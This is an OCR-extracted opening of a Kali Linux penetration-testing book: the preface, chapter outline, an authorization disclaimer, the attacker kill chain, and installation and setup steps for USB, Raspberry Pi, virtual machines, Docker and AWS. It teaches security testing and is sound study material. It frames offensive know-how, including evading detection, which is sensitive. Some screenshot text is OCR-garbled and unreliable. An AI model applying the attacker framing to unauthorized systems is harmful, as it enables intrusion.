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Preface

This book is dedicated to the use of Kali Linux in performing penetration tests against
networks, systems, and applications. A penetration test simulates an attack against a
network or a system by a malicious outsider or insider. Unlike a vulnerability assessment,
penetration testing is designed to include the exploitation phase. Therefore, it proves that
the exploit is present, and that it is accompanied by the very real risk of being compromised
if not acted upon.

Throughout this book, we will refer to penetration testers, attackers, and
hackers interchangeably, as they use the same techniques and tools to
assess the security of networks and data systems. The only difference
between them is their end objective—a secure data network, or a data
breach.

In short, this book will take you through a journey of penetration testing, with a number of
proven techniques for defeating the latest network defenses using Kali Linux, from
selecting the most effective tools, to rapidly compromising network security, to
highlighting the techniques used to avoid detection.

Who this book is for

If you are a penetration tester, IT professional, or security consultant wanting to maximize
the success of your network testing by using some of the advanced features of Kali Linux,
then this book is for you. Some prior exposure to the basics of penetration testing and
ethical hacking would be helpful in making the most out of this title.

What this book covers

Chapter 1, Goal-Based Penetration Testing with Kali Linux, introduces a functional outline,
based on the penetration-testing methodology, that will be used throughout the book. It
ensures that a coherent and comprehensive approach to penetration testing will be
followed.

Chapter 2, Open Source Intelligence and Passive Reconnaissance, provides background on how
to gather information about a target using publicly-available sources, and discusses the
tools that can simplify reconnaissance and information management.
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Chapter 3, Active Reconnaissance of the External and Internal Networks, introduces you to
stealthy approaches that can be used to gain information about the target, especially the
information that identifies vulnerabilities to be exploited.

Chapter 4, Vulnerability Assessment, teaches you the semi-automated process of scanning a
network and its devices to locate systems that are vulnerable to attack and compromise,
and the process of taking all reconnaissance and vulnerability scan information, assessing
it, and then creating a map to guide the penetration-testing process.

Chapter 5, Advanced Social Engineering and Physical Security, demonstrates why being able
to physically access a system or interact with the humans who manage it provides the most
successful route to exploitation.

Chapter 6, Wireless Attacks, provides a brief explanation of wireless technologies, and
focuses instead on the common techniques used to compromise these networks by
bypassing security.

Chapter 7, Exploiting Web-Based Applications, provides a brief overview of one of the most
complex delivery phases to secure: web-based applications that are exposed to the public
internet.

Chapter 8, Client-Side Exploitation, focuses on attacks against applications on the end user's
systems, which are frequently not protected to the same degree as the organization's
primary network.

Chapter 9, Bypassing Security Controls, demonstrates the most common security controls in
place, identifies a systematic process for overcoming these controls, and demonstrates this
using the tools from the Kali toolset.

Chapter 10, Exploitation, demonstrates the methodologies that can be used to find and
execute exploits that allow a system to be compromised by an attacker.

Chapter 11, Action on the Objective, focuses on the immediate post-exploit activities, as well
as the concept of horizontal escalation—the process of using an exploited system as a
starting point to jump off to other systems on the network.

Chapter 12, Privilege Escalation, demonstrates how the penetration tester can own all
aspects of a system's operations, and more importantly, how obtaining some access
privileges will allow the tester to control all systems across a network.

Chapter 13, Command and Control, focuses on what a modern attacker would do to enable
data to be exfiltrated to the attacker's location, while hiding the evidence of the attack.

[2]
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Chapter 14, Embedded Devices and RFID Hacking, focuses on what a modern attacker would
do to perform a structured attack on embedded devices, as well as the cloning of NFC
cards, to achieve an objective.

To get the most out of this book

In order to practice the material presented in this book, you will need virtualization tools
such as VMware or VirtualBox.

You will need to download and configure the Kali Linux operating system and its suite of
tools. To ensure that it is up to date and that you have all of the tools, you will need an
internet connection.

Sadly, not all of the tools on the Kali Linux system will be addressed, since there are just too
many of them. The focus of this book is not to overwhelm you with all of the tools and
options, but to provide an approach for testing that will give you the opportunity to learn
and incorporate new tools as your experiences and knowledge increases over time.

Although most of the examples from this book focus on Microsoft Windows, the
methodology and most of the tools are transferable to other operating systems, such as
Linux and the other flavors of Unix.

Finally, this book applies Kali to complete the attacker's kill-chain against target systems.
For this, you will need a target operating system. Many of the examples in the book use
Microsoft Windows 7 and Windows 2008 R2.

Download the example code files

You can download the example code files for this book from your account
at www.packt.com. If you purchased this book elsewhere, you can
visit www.packt .com/support and register to have the files emailed directly to you.

You can download the code files by following these steps:

Log in or register at www.packt . com.
Select the SUPPORT tab.
Click on Code Downloads & Errata.

Enter the name of the book in the Search box and follow the onscreen
instructions.

L e

[3]
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Once the file is downloaded, please make sure that you unzip or extract the folder using the
latest version of:

e WinRAR/7-Zip for Windows
e Zipeg/iZip/UnRarX for Mac
e 7-Zip/PeaZip for Linux

The code bundle for the book is also hosted on GitHub at https://github.com/
PacktPublishing/Mastering-Kali-Linux—-for—-Advanced-Penetration-Testing-Third-

Edition. In case there's an update to the code, it will be updated on the existing GitHub
repository.

We also have other code bundles from our rich catalog of books and videos available
athttps://github.com/PacktPublishing/. Check them out!

Download the color images

We also provide a PDF file that has color images of the screenshots/diagrams used in this
book. You can download it

here: nttp://www.packtpub.com/sites/default/files/downloads/9781789340563_Colorl
mages .pdf.

Conventions used

There are a number of text conventions used throughout this book.

CodeInText: Indicates code words in text, database table names, folder names, filenames,
file extensions, pathnames, dummy URLSs, user input, and Twitter handles. Here is an
example: "For example, we have used the netcat command."

A block of code is set as follows:

<!DOCTYPE foo [ <!ENTITY Variable "hello" >
] ><somexml><message>&Variable; </message></somexml>

Any command-line input or output is written as follows:

chmod 600 privatekey.pem
ssh -i privatekey.pem ec2-user@amazon-dns-ip

[4]
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Bold: Indicates a new term, an important word, or words that you see onscreen. For
example, words in menus or dialog boxes appear in the text like this. Here is an example:
"Right-click on the folder and select the Sharing tab. From this menu, select Share."

Warnings or important notes appear like this.

Tips and tricks appear like this.

Get in touch

Feedback from our readers is always welcome.

General feedback: If you have questions about any aspect of this book, mention the book
title in the subject of your message and email us at customercare@packtpub.com.

Errata: Although we have taken every care to ensure the accuracy of our content, mistakes
do happen. If you have found a mistake in this book, we would be grateful if you would
report this to us. Please visit www.packt .com/submit-errata, selecting your book, clicking
on the Errata Submission Form link, and entering the details.

Piracy: If you come across any illegal copies of our works in any form on the Internet, we
would be grateful if you would provide us with the location address or website name.
Please contact us at copyright@packt .com with a link to the material.

If you are interested in becoming an author: If there is a topic that you have expertise in
and you are interested in either writing or contributing to a book, please
visit authors.packtpub.com.

Reviews

Please leave a review. Once you have read and used this book, why not leave a review on
the site that you purchased it from? Potential readers can then see and use your unbiased
opinion to make purchase decisions, we at Packt can understand what you think about our
products, and our authors can see your feedback on their book. Thank you!

For more information about Packt, please visit packt . com.

[5]
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Disclaimer

The information within this book is intended to be used only in an ethical manner. Do not
use any information from the book to perform illegal activities if you do not have written
permission from the owner of the equipment. If you perform illegal actions, you are likely
to be arrested and prosecuted to the full extent of the law. Packt Publishing does not take
any responsibility if you misuse any of the information contained within the book. The
information herein must only be used while testing environments with proper written
authorizations from appropriate persons responsible.

The features explained in the book are based on the meta-packages version of Kali Linux
2019.1, this is not the official release by Offensive Security.

[6]



Goal-Based Penetration
Testing

Everything starts with a goal. In this chapter, we will discuss the importance of goal-based
penetration testing with a set of objectives and discuss misconceptions and how a typical
vulnerability scan, penetration testing, and red teaming exercise can fail without the
importance of a goal. This chapter also provides an overview of security testing and setting
up a verification lab and focuses on customizing Kali to support some advanced aspects of
penetration testing. By the end of this chapter, you'll have learned the following;:

e An overview of security testing

e Misconceptions of vulnerability scanning, penetration testing, and red teaming
exercises

History and purpose of Kali Linux

Updating and organizing Kali

Setting up defined targets

Building a verification lab

Conceptual overview of security testing

Every household, individual and public and private business in the world has something to
worry about in cyber space, such as privacy, data loss, malware, cyber terrorism, and
identity theft. Everything starts with a concept of protection; if you ask the question “"What
is security testing?” to 100 different security consultants, it is very likely that you'll hear
different responses. In the simplest form, security testing is a process to determine that any
information asset or system is protected and its functionality is maintained as intended.
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Misconceptions of vulnerability scanning,
penetration testing, and red team exercises

In this section, we will discuss some misconceptions and limitations on traditional/classical
vulnerability scanning, penetration testing, and red teaming exercises. Let's now
understand the actual meaning of all of these three in simple terms and their limitations:

e Vulnerability scanning (Vscan): It is a process of identifying vulnerabilities or
security loopholes in a system or network. One of the misconceptions about
Vscan is that it will let you know all of the known vulnerabilities; well, it's not
true. Limitations with Vscan are only potential vulnerabilities and it purely
depends on the type of scanner that one utilizes; it might also include lots of false
positives and, to the business owner, there is no clear vision on whether they are
relevant risks or not and which one will be utilized by the attackers first to gain
access.

e Penetration testing (Pentest): It is a process of safely exploiting vulnerabilities
without much impact to the existing network or business. There is a lower
number of false positives since the testers will try and simulate the exploit.
Limitations with the pentest are only currently known, publicly available exploits
and mostly these are project-focused testing. We often hear from pentesters
during an assessment, “Yay! Got Root”"—but we never question: What's next? This
could be due to various reasons, such as the project limits you to report the high-
risk issues immediately to the client or the client is interested in only one
segment of the network and wants you to test that.

One of the misconceptions about the pentest is that it provides the full
attacker view of the network and you are safe once you've done a
penetration testing. Well, it isn't the case if attackers found a vulnerability
in the business process of your secure app.

¢ Red Team Exercise (RTE): It is a process of evaluating the effectiveness of an
organization to defend against cyber threats and improve its security by any
possible means; during an RTE, we can notice multiple ways of achieving project
objectives and goals, such as complete coverage of activities with the defined
project goal, including phishing, wireless, disk drops (USB, CD, and SSD), and
physical penetration testing. The limitations with RTEs are time-bound, pre-
defined scenarios and an assumed rather than real environment. Often, the RTE
is run with a fully monitored mode for every technique and tactics are executed
according to the procedure, but this isn't the case when a real attacker wants to
achieve an objective.
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Often, all three different testing methodologies refer to the term hack or compromise. We will
hack your network and show you where your weaknesses are; but wait, does the client or
business owner understand the term hack or compromise? How do we measure it? What are
the criteria? And when do we know that the hack or compromise is complete? All the
questions point to only one thing: what's the primary goal?

Objective-based penetration testing

The primary goal of a pentest/RTE is to determine the real risk, differentiating the risk
rating from the scanner and giving a business risk value for each asset, along with the
brand image of the organization. It's not about whether how much risk they have; rather,
it's about how much they are exposed. A threat that has been found does not really
constitute a risk and need not be demonstrated. For example, a Cross-Site Scripting (XSS)
on a brochure website may not have significant impact on the business; however, a client
might accept the risk to put in a mitigation plan using a Web Application Firewall (WAF)
to prevent the XSS attacks.

While objective-based penetration testing is time-based, depending on the specific problem
that an organization faces, an example of an objective is: We are most worried about the online
portal and fraud transactions. So, the objective now is to compromise the portal or
administrators through phishing or take over the approval chains through a system flaw.
Every objective comes with its own tactics, techniques, and procedures that will support the
primary goal of the penetration test activity. We will be exploring all of the different ways
throughout this book using Kali Linux.

The testing methodology

Methodologies rarely consider why a penetration test is being undertaken or which data is
critical to the business and needs to be protected. In the absence of this vital first step,
penetration tests lose focus.

Many penetration testers are reluctant to follow a defined methodology, fearing that it'll
hinder their creativity in exploiting a network. Penetration testing fails to reflect the actual
activities of a malicious attacker. Frequently, the client wants to see whether you can gain
administrative access to a particular system (Can you root the box?). However, the attacker
may be focused on copying critical data in a manner that does not require root access or
cause a denial of service.
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To address the limitations inherent in formal testing methodologies, they must be

integrated in a framework that views the network from the perspective of an attacker, the
kill chain.

In 2009, Mike Cloppert of Lockheed Martin CERT introduced the concept that is now
known as the attacker kill chain. This includes the steps taken by an adversary when they
are attacking a network. It does not always proceed in a linear flow as some steps may
occur in parallel. Multiple attacks may be launched over time at the same target, and
overlapping stages may occur at the same time.

In this book, we've modified Cloppert's kill chain to more accurately reflect how attackers
apply these steps when exploiting networks, application, and data services.

The following diagram shows a typical kill chain of an attacker:
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A typical kill chain of an attacker can be described as follows:

¢ Explore or reconnaissance phase: The adage, reconnaissance time is never wasted
time, adopted by most military organizations, acknowledges that it is better to
learn as much as possible about an enemy before engaging them. For the same
reason, attackers will conduct extensive reconnaissance of a target before
attacking. In fact, it is estimated that at least 70 percent of the work effort of a
penetration test or an attack is spent conducting reconnaissance! Generally, they
will employ two types of reconnaissance:

e Passive: This does not directly interact with the target in a hostile
manner. For example, the attacker will review the publicly
available website(s), assess online media (especially social media
sites), and attempt to determine the attack surface of the target.
One particular task will be to generate a list of past and current
employee names. These names will form the basis of attempts to
brute force or guess passwords. They will also be used in social
engineering attacks. This type of reconnaissance is difficult, if not
impossible, to distinguish from the behavior of regular users.

e Active: This can be detected by the target but it can be difficult to
distinguish most online organizations' faces from the regular
backgrounds. Activities occurring during active reconnaissance
include physical visits to target premises, port scanning, and
remote vulnerability scanning.

¢ Delivery phase: Delivery is the selection and development of the weapon that
will be used to complete the exploit during the attack. The exact weapon chosen
will depend on the attacker's intent as well as the route of delivery (for example,
across the network, via wireless, or through a web-based service). The impact of
the delivery phase will be examined in the second half of this book.

¢ Exploit or compromise phase: This is the point when a particular exploit is
successfully applied, allowing attackers to reach their objective. The compromise
may have occurred in a single phase (for example, a known operating system
vulnerability was exploited using a buffer overflow), or it may have been a
multiphase compromise (for example, an attacker physically accessed premises
to steal a corporate phone book. The names were used to create lists for brute
force attacks against a portal logon. In addition, emails were sent to all
employees to click on an embedded link to download a crafted PDF file that
compromised their computers). Multiphase attacks are the norm when a
malicious attacker targets a specific enterprise.
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¢ Achieve phase — Action on the Objective: This is frequently, and incorrectly,
referred to as the exfiltration phase because there is a focus on perceiving attacks
solely as a route to steal sensitive data (such as login information, personal
information, and financial information); it is common for an attacker to have a
different objective. For example, a business may wish to cause a denial of service
in their competitor's network to drive customers to their own website. Therefore,
this phase must focus on the many possible actions of an attacker. One of the
most common exploit activity occurs when the attackers attempt to improve their
access privileges to the highest possible level (vertical escalation) and to
compromise as many accounts as possible (horizontal escalation).

¢ Achieve phase - Persistence: If there is value in compromising a network or
system, then that value can likely be increased if there is persistent access. This
allows attackers to maintain communications with a compromised system. From
a defender's point of view, this is the part of the kill chain that is usually the
easiest to detect.

Kill chains are metamodels of an attacker's behavior when they attempt to compromise a
network or a particular data system. As a metamodel, it can incorporate any proprietary or
commercial penetration testing methodology. Unlike the methodologies, however, it
ensures a strategic-level focus on how an attacker approaches the network. This focus on
the attacker's activities will guide the layout and content of this book.

Introduction to Kali Linux — features

Kali Linux (Kali) is the successor to the BackTrack penetration testing platform that is
generally regarded as the de facto standard package of tools used to facilitate penetration
testing to secure data and voice networks. It was developed by Mati Aharoni and Devon
Kearns of Offensive Security.

In 2018, Kali had four major releases—as of December 2018. The Kali 2018.1 release was

on Feb 6 2018 with kernel 4.14.13 and Gnome 3.26.2. The Kali 2018.2 rolling release was

on April 30 2018 with Kernel 4.15 that beats the Spectre and meltdown vulnerabilities on
x64 and x86 machines, and Kali 2018.3 on August 21 2018 just after the Hacker summer
camp. This brings the kernel version to 4.17.0 with minimal addition to the kernel and the
final release Kali 2018.4 for the year was on Oct 29 2018 with an experimental Raspberry Pi
3 image that supports 64 bit mode and updated packages of other tools.
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Some features of the latest Kali include the following:

e Over 500 advanced penetration testing, data forensics, and defensive tools are
included. The majority of the tools are eliminated and replaced by similar tools.
They provide extensive wireless support with multiple hardware and kernel
patches to permit the packet injection required by some wireless attacks.

e Support for multiple desktop environments such as KDE, GNOME3, Xfce,
MATE, el7, Ixde, and i3wm.

¢ By default, Kali Linux has Debian-compliant tools that are synchronized with the
Debian repositories at least four times daily, making it easier to update packages
and apply security fixes.

¢ There are secure Development Environment and GPG signed packages and
repositories.

e There's support for ISO customization, allowing users to build their own versions
of customized Kali with a limited set of tools, to make it lightweight. The
bootstrap function also performs enterprise-wide network installs that can be
automated using pre-seed files.

¢ Since ARM-based systems have become more prevalent and less expensive, the
support for ARMEL and ARMHEF in Kali to be installed on devices such as
rk3306 mk/ss808, Raspberry Pi, ODROID U2/X2, Samsung Chromebook,
EfikaMX, Beaglebone Black, CuBox, and Galaxy Note 10.1 was introduced.

e Kali always remains an open source project that is free. Most importantly, it is
well supported by an active online community.

Role of Kali in red team tactics

While pentesters can prefer any type of operating system to perform their desired activity,
usage of Kali Linux saves significant time and prevents the need to search for packages that
aren't typically available for other operating systems. Some of the advantages that are not
noticed with Kali during a red team are the following:

¢ One single source to attack various platforms

¢ Quick to add sources and install packages and supporting libraries (especially
those that are not available for Windows)

e Possible to install even the RPM packages with the usage of alien

The purpose of Kali Linux is to secure things and bundle all of the tools to provide a single
platform for penetration testers.
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Installing and updating Kali Linux

In the last edition, we focused on the installation of Kali Linux to VMware player,
VirtualBox, and Amazon AWS and using the Docker appliance. In this section, we will
touch base on installing on the same platforms along with Raspberry Pi 3.

Using as a portable device

It is fairly simple to install Kali Linux onto a portable device. In some situations, clients do
not permit the use of an external laptop inside a secure facility. In those cases, typically a
testing laptop is provided by the client to the pentester to perform the scan. Running Kali
Linux from a portable device has more advantages during a pentest or RTE:

e It's in the pocket, in case of a USB or mobile device

e [t can be run live without making any changes to the host operating system

¢ You can customize the build of Kali Linux and you can even make the storage
persistent

There are a simple three steps to make a USB into a portable Kali from a Windows PC:

1. Download the official Kali Linux image from: http://docs.kali.org/
introduction/download-official-kali-linux—-images.

2. Download Win32 Disk Imager from: https://sourceforge.net/projects/
win32diskimager/. We will be using Win32 Disk Imager 1.0.

3. Open the Win32 Disk Imager as administrator. Plug the USB drive into the PC's
available USB port. Browse to the location where you've downloaded your
image. You should be able to see what's shown in the following screenshot. Select
the right drive name and then click Write:
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%2 Win32 Disk Imager - 1.0 - O =
Image File Device
|D:ﬂ-|au:|<.b:uulsﬂ-:ali-linux-lﬂ 13, 2-amda4.iso | [G:Y -

Hash

MD5S * | | Generate Copy

[ ] Read only Allocated Partitions

Progress
L 7%
Cancel Read Write Verify Only Exit
T.32601MEB/s (00:18/04:22

Once complete, exit the Win32 Disk Imager and safely remove the USB. The Kali Linux is
now ready as a portable device to be plugged into any laptop to boot it up live. It is also
possible to generate a hash value using the Win32 Disk Imager. If your host operating
system is Linux this can be achieved by two standard commands:

sudo fdisk -1
This will display all of the disks mounted on the drive:
dd if=kali linux.iso of=/dev/nameofthedrive bs=512k

That's it. The dd command-line utility does the convert and copy, i £ is used for input file ,
of is for output file, and bs is for the block size.

Installing Kali to Raspberry Pi 3

Raspberry Pis are single board devices that are compact in nature and can run just like a
fully loaded computer with minimal functionalities. These devices are extremely useful
during RTE and penetration testing activities. The base of the operating system is loaded
from a SD card just like a hard disk drive for normal computers/laptops.

[15]



Goal-Based Penetration Testing Chapter 1

The same steps as those outlined in the previous section, Using as a portable device, can be
performed on a high speed SD card that can be plugged into a Raspberry Pi. We are ready
to use the system without any issues. If the installation is successful, the following screen
must be present when Kali Linux is booted from a Raspberry Pi. We've used Raspberry Pi 3
for this demonstration and accessed the Pi Operating system using VNC viewer:

Installing Kali onto a VM

In this section, we will take a quick tour of how to install Kali onto VMware Workstation
Player and Oracle VirtualBox.

VMware Workstation Player

VMware Workstation Player, formerly known as VMware Player, is free for personal use
and a commercial product for business use from VMware as a desktop application that
allows us to run a VM inside your host operating system. This application can be
dOMHﬂoadedfronl:https://my.vmware.com/en/web/vmware/free#desktop_end_user_

computing/vmware_workstation_player/12_0.
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We will be using version 12.5.9 VMware Workstation Player. Once the installer is
downloaded, go ahead and install the VMware Player accordingly, based on your host
operating system. If the installation is complete, you should have the following screen:

%ﬂ Vihware Workstation 12 Player (Non-commercial use only) — O >
Player = | - E_ EZE
A rome Welcome to VMware

Workstation 12 Player

" +—4' Create a new virtual maching, which will then be added to

_'_T_ Create a New Virtual Machine
7 =
= :._.- the top of your library.

=" Open a Virtual Machine
|_ ﬁ |

Open an existing virtual machine, which wil then be added
to the top of your library.

- l Upgrade to VMware Workstation Pro

Get advanced features such as snapshots, virtual network
management, and mare.

Help
k. & 4 View online help,

== This product is not licensed and is authorized for non-
"i-' commercial use only, For commercial use, purchase a
license. Buy now.

The next step to install the Kali-Linux to VMware is to click on Create a New Virtual
machine and select Installer disc image file (iso). Browse your ISO file that was
downloaded and then click Next. You can now enter the name of your choice (for
example, HackBox) and select the Custom Location where you would like to store your
VMware image. Click Next and then you'll specify the disk capacity. It is recommended
that a minimum of 10 GB is needed to run Kali. Click Next until you finish.
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Another way is to directly download the VMware image and open the . vmx file and select I
copied it. That should boot up the fully loaded Kali Linux in VMware.

You can either choose to install the Kali-Linux to the host operating system or run it as a
live image. Once all of the installation steps are complete, you are ready to launch Kali
Linux from VMware without any problem, as shown in the following screenshot:

':33 Kali-Linux-2018,1-vm-amd&4 - VMware Workstation 12 Player (Mon-commercial use enly) — O X
Rlayer v | I+ & B «

Sun 17:18

Username:
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VirtualBox

Similar to VMware workstation player, VirtualBox is the hypervisor that is completely open
source and a free desktop application from which you can run any VM from the host
operating system. This application can be downloaded from: https://www.virtualbox.

org/wiki/Downloads.

We will now go ahead and install Kali to VirtualBox. Similar to VMware, we will just
execute the downloaded executable until we have a successful installation of Oracle
VirtualBox, as shown in the following screenshot:

¥ Oracle VM VirtualBox Manager — O x
Eile Machine Help

i P < 2 - i -

Mew Settings Discard Start Machine Tools Global Tools
Welcome to VirtualBox!

The left part of this window lists all virtual
machines and virtual machine groups on your
computer. The list is empty now because you
haven't created any virtual machines yet.

In order to create a new virtual machine,
press the Mew button in the main tool bar
located at the top of the window.

‘You can press the F1 key to get instant help,
or visit www, virtualbox.org for more
information and latest news.
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During installation, it is recommended that the RAM be set to at least 1 or 2 GB, and that
you create the virtual hard drive with a minimum of 10 GB to have no performance issues.
After the final step, you should be able to load Kali Linux in VirtualBox, as shown in the
following screenshot:

8 Hackbox [Running] - Cracle VM VirtualBox — O >

File Machine View Input Devices Help

< >
BO M E & W0 @@ reter

Installing to a Docker Appliance

Docker is an open source project that is designed to automate the deployment of software
containers and applications instantly. Docker also provides the additional abstraction and
automation layer of operating system-level virtualization on Linux.
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Docker is available for Windows, Mac, Linux, AWS (Amazon Web Services), and Azure.
For Windows, Docker can be downloaded from: nttps://download.docker.com/.

After the Docker installation, it should be fairly simple to run Kali Linux by running
the docker pull kalilinux/kali-linux-docker and docker run -t -i
kalilinux/kali-linux-docker /bin/bash commands to confirm installation.

We should be able to run Kali Linux directly from Docker as shown in the following
screenshot. Also, note that Docker utilizes the VirtualBox environment in the background.
So, technically, it is a VM running on VirtualBox through the Docker appliance:

B C\Windows'\System32\.cmd.exe - a X

(c) 2015 Microsoft Corporation. AT rights reserved.

C:\Hackerbox>docker pull kalilinux/kali-1inux-docker
Using default tag: latest
latest: Pulling from kalilinux/kali-Tinux-docker
b2860afd831e: Pull complete
340395ad18db: Pull complete
d4ecedcfaa73: Pull complete
Pull complete
Pull complete
Pull complete
Pull complete
Pull complete
Pull complete
Pull complete
261c33ef5c83: Pull complete
Digest: sha256: b89e91e9e08cbcfa1accb825522bee556fa4b50891fffd27f1d56292e7667dcc
Status: Downloaded newer image for kalilinux/kali-linux-docker:latest

C:\Hackerbox>

Once the Docker download is complete, you can run the Docker image by running docker
run -t -i kalilinux/kali-linux-docker /bin/bash.You should be able to see
what's shown in the following screenshot:

B C:\Windows\System32\cmd.exe - docker run -t -i kalilinux/kali-linux-docker /bin/bash - [m] X

C:\Hackerbox>docker run -t -i kalilinux/kali-1linux-docker /bin/bash
root0593eba91b9bb J/# s
dev home 1ib64 mnt proc run srv tmp var

etc T1ib media opt root sbin sys usr
root@593eba91b9bb: /#
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Ensure that VI-X is enabled on your system BIOS and Hyper-V is enabled on Windows. Do
note that enabling Hyper-V will disable VirtualBox, as shown in the following screenshot:

% Docker for Windows >

ﬂn Hyper-V feature is not enabled.

Do you want to enable it for Docker to be able to work properly?
— Your computer will restart automatically.
Note: VirtualBox will no longer work.

Ok Cancel

Kali on AWS Cloud

Amazon Web Services (AWS) provide Kali Linux as part of Amazon Machine Interface
(AMI) and Software as a Service (SaaS). A penetration tester or hacker can utilize AWS to
conduct penetration testing and more efficient phishing attacks. In this section, we will go
through the steps to bring up the Kali Linux on AWS.

First, you'll need to have a valid AWS account. You can sign up by visiting the following

URL: https://console.aws.amazon.com/console/home.

When we log in to the AWS account, we should be able to see all of the AWS services.
Search for Kali Linux. You'll see the following as per the screenshot, https://aws.amazon.
com/marketplace/pp/B01M26MMTT:
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C | @ Secure | https;//aws.amazon.com/marketplace/pp/

v aws marketplace

Categories Delivery Methods v Solutions v Migration Mapping Assistant Your Saved List Partners  Sell in AWS Marketplace
Kali Linux Continue to Subscribe
By: Kali Linux Latest Version: Kali Linux 2018.3a ‘ Save to List
KALI Kali Linux is a Debian-based Linux distribution aimed at advanced Penetration Testing and
Y OFFENS Y Security Auditing. Typical Total Price

Linux/Unix (5) $0.046/hr

Overview Pricing Usage Support Reviews

Product Overview

Kali Linux is a Debian-based Linux distribution aimed at advanced Penetration

Highlights

Testing and Security Auditing. Kali contains several hundred tools targeted

towards various information security tasks, such as Penetration Testing,

* Advanced Eenetraticm testing platform

AWS services- Kali Linux

The open source community has made it very simple to directly launch with pre-
configured Kali Linux 2018.1 in the Amazon marketplace. The following URL will take us
to a direct launch of Kali-Linux within a few minutes, https://aws.amazon.com/
marketplace/pp/B01M26MMTT. Follow the instructions and then you should be able to
launch the instance by selecting Continue to Subscribe. This should take you to the
following option to select as shown in the following screenshot. Finally, just click Launch:

Kali Linux

Software Version Kali Linux 2018.3a

Region US East (N. Virginia)

Choose Action

Choose this action to launch your configuration through the

Launch through EC2 M Amazon EC2 console.

Select a launch action

Launch from Website Launch
Copy to Service Catalog
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Before you launch Kali Linux 2018.3 from AWS, it is recommended that you create a new
key pair as shown in the following screenshot:

Select an existing key pair or create a new key pair X

A key pair consists of a public key that AWS stores, and a private key file that you store. Together, they
allow you to connect to your instance securely. For Windows AMIs, the private key file is required to
obtain the password used to log into your instance. For Linux AMIs, the private key file allows you to
securely SSH into your instance.

MNote: The selected key pair will be added to the set of keys authorized for this instance. Learn more
about removing existing key pairs from a public AbMI.

Create a new key pair v
Key pair name
Masteringkali2

Download Key Pair

Q You have to download the private key file (* pem file) before you can continue. Store
it in a secure and accessible location. You will not be able to download the file
again after it's created.

Cancel Launch Instances

As usual, to use any AWS VM, you must create your own key pair in order to ensure the

security of the environment. Then, you should be able to log in by entering the following

command from your command shell. In order to use the private key to log in without the
password, Amazon enforces the file permission to be tunneled. We will use the following
commands to connect to the Kali Linux instance:

chmod 600 privatekey.pem
ssh -i privatekey.pem ec2-user@amazon-dns-ip

[24]



Goal-Based Penetration Testing Chapter 1

The following screenshot depicts the successful usage of Kali on AWS:

# chmod 400 MasteringKali3.pem
# ssh -i MasteringKali3.pem ec2-userfec2-54-88-166-48.compute-1.amazonaws.com
nux kali 4.17.0-kalil-amdé4 #1 SMP Debian 4.17.8-1lkalil (2018-07-24) x86 64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
ec2-userfkali:~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING, MULTICAST> mtu 1500
inet 172.31.24.28 netmask 255.255.240.0 broadcast 172.31.31.255
inet6 feB0::ceB:9fff:fel9:321c prefixlen 64 scopeid 0x20<linlk>
ether 0e:eB8:9£:19:32:1c txqueuelen 1000 (Ethernet)
RX packets 221 bytes 27819 (27.1 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 266 bytes 31157 (30.4 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x1l0<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 4 bytes 156 (156.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4 bytes 156 (156.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

All of the terms and conditions must be met in order to utilize AWS to
perform penetration testing. Legal terms and conditions must be met
before launching any attacks from the cloud host.

Organizing Kali Linux

Installation is just the beginning of the setup, as organizing Kali Linux is very important. In
this section, we will deep dive into different ways of organizing the HackBox through
customization.
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Configuring and customizing Kali Linux

Kali is a framework that is used to complete a penetration test. However, the tester should
never feel tied to the tools that have been installed by default or by the look and feel of the
Kali desktop. By customizing Kali, a tester can increase the security of client data that is
being collected and make it easier to do a penetration test.

Common customization made to Kali include the following;:

¢ Resetting the root password
¢ Adding a non-root user

Configuring network services and secure communications

Adjusting network proxy settings

Accessing the secure shell

¢ Speeding up Kali operations
Sharing folders with MS Windows
Creating encrypted folders

Resetting the root password

To change a user password, use the following command:

passwd root

You'll then be prompted to enter a new password, as shown in the following screenshot:

Applications « Places v [ Terminal + Sun 18:39

root@kali: ~
File Edit View Search Terminal Help
:~# passwd root

Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully

~# ||

[26]



Goal-Based Penetration Testing Chapter 1

Adding a non-root user

Many of the applications provided in Kali must run with root-level privileges in order to
function. Root-level privileges do possess a certain amount of risk; for example, mistyping a
command or using the wrong command can cause applications to fail or even damage the
system being tested. In some cases, it is preferable to test with user-level privileges. In fact,
some applications force the use of lower-privilege accounts.

To create a non-root user, you can simply use the adduser command from the Terminal
and follow the instructions that appear, as shown in the following screenshot:

’“_."'3 Kali-Linux-2018.1-vm-amd&4 - VMware Workstation 12 Player (Mon-commercial use only) - O X

Player = hd I&I @ T L:_"I £

Applications v Places v [ Terminal = Sun 18:51

root@Kkali: ~
File Edit View Search Terminal Help

:~# adduser noroot
Adding user “noroot'
Adding new group "noroot' (1000)
Adding new user “noroot' (1000) with group ‘noroot'
Creating home directory */home/noroot'
Copying files from '/etc/skel'
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for noroot
Enter the new value, or press ENTER for the default
Full Name []: notarootaccount
Room Number []: 5787
Work Phone []: 447089744647
Home Phone []: 447089744647
Other []: 007
Is the information correct? [Y/n] Y
L~
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Configuring network services and secure
communications

The first step to ensure that we are able to access the network is to make sure that it has
connectivity to either a wired or wireless network to support updates and communications.

You may need to obtain an IP address through DHCP (Dynamic Host Configuration
Protocol) by appending network configuration and adding the Ethernet adapter:

# nano /etc/network/interfaces
iface ethO0 inet dhcp

Once the network configuration file is appended, you should be able to bring up the i fup
script to automatically assign the IP address as shown in the following screenshot:

~# ifup etho
Internet Systems Consortium DHCP Client 4.3.5
Copyright 2004-2016 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/

Listening on LPF/eth0/08:00:27:11:a8:61

Sending on LPF/eth0/08:00:27:11:a8:61

Sending on  Socket/fallback

